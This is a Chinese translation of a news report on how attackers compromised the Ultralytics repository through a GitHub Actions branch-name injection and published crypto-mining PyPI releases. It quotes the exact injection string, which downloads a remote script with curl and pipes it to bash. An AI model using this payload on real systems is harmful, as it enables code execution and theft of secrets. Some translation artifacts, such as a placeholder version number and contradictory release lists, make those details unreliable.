攻擊者能夠使用 Ultralytics Python 庫儲存庫中的 GitHub Actions 處理程序權限執行程式碼,該儲存庫用於解決電腦視覺問題,例如偵測圖像中的物件和分割映像。在取得儲存庫的存取權限後,攻擊者在 PyPI 目錄中發布了幾個新的 Ultralytics 版本,其中包括針對加密貨幣挖礦的惡意變更。過去一個月,Ultralytics 庫從 PyPI 目錄中的下載量已超過 6.4 萬次。
為了破壞儲存庫,ultralytics-actions 套件中使用了一個漏洞,該漏洞用於在使用 GitHub Actions 機制對 GitHub 上的儲存庫執行某些操作時自動啟動處理程序。在ultralytics專案中,易受攻擊的處理程序綁定到pull_request_target事件,並在新的拉取請求到達時被呼叫。特別是,為了格式化發送的拉取請求中的程式碼,呼叫了format.yml 處理程序,並執行了action.yml 檔案的「run」部分中指定的程式碼,其中包含具有替換模式的shell 命令: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{inputs.github_username }}" git config --global user.email "${{inputs.github_email }}"
因此,拉取請求中提到的 Git 分支的名稱被替換為 shell 命令,而沒有進行適當的轉義。值得注意的是,在 8 月份,ultralytics-actions 套件已經修復了與在 echo 函數中使用外部值相關的類似漏洞: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request . head.ref }} »
為了在 GitHub Actions 處理程序的上下文中組織程式碼的執行,攻擊者向 ultralytics 儲存庫發送了拉取請求,並指定以下內容作為分支名稱: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
因此,當收到拉取請求時,攻擊者指定的字串「$(…)」被插入到程式碼中,當隨後啟動處理程序時,這會導致程式碼「curl -sSfL raw.githubusercontent」的執行。 com/…/file.sh |重擊」。

在 GitHub Actions 上下文中執行程式碼可用於擷取儲存庫存取權杖和其他敏感資料。目前尚不清楚攻擊者究竟是如何成功產生一個版本,並能夠在 GitHub Actions 中執行其程式碼,我們假設這是由於publish.yml 處理程序的變更而成為可能的(攻擊者刪除了對允許在PyPI 中發布版本的帳戶)以及使用中毒GitHub Actions 建立快取的技術將資料插入版本中。
攻擊者於12月4日晚上11:51(莫斯科時間)在PyPI上發布了Ultralytics 8.3.41的第一個惡意版本,並於次日中午12:15將其移除。下午3:47,他們又發布了另一個版本8.3.42,並於下午4:47將其移除。因此,這些惡意版本總共可供下載約13小時(PyPI記錄顯示,Ultralytics庫每天的下載量約為25萬次)。 8.3.41和8.3.42版本都包含從外部下載的程式碼。 服務器 用於加密貨幣挖礦的 XMRig 組件。
專案開發人員修復了該問題並創建了修正版本8.3.43 和8.3.44,但兩天後又發生了另一次攻擊,攻擊者在今天的04:41 和05:27 (MSK) 發布了另外兩個惡意版本 - 8.3.45. 8.3.46 和 8.3.44,其中包括其他採礦代碼。在調查結束之前,建議用戶推遲安裝新版本並修復版本 XNUMX 作為依賴項。
來源: opennet.ru
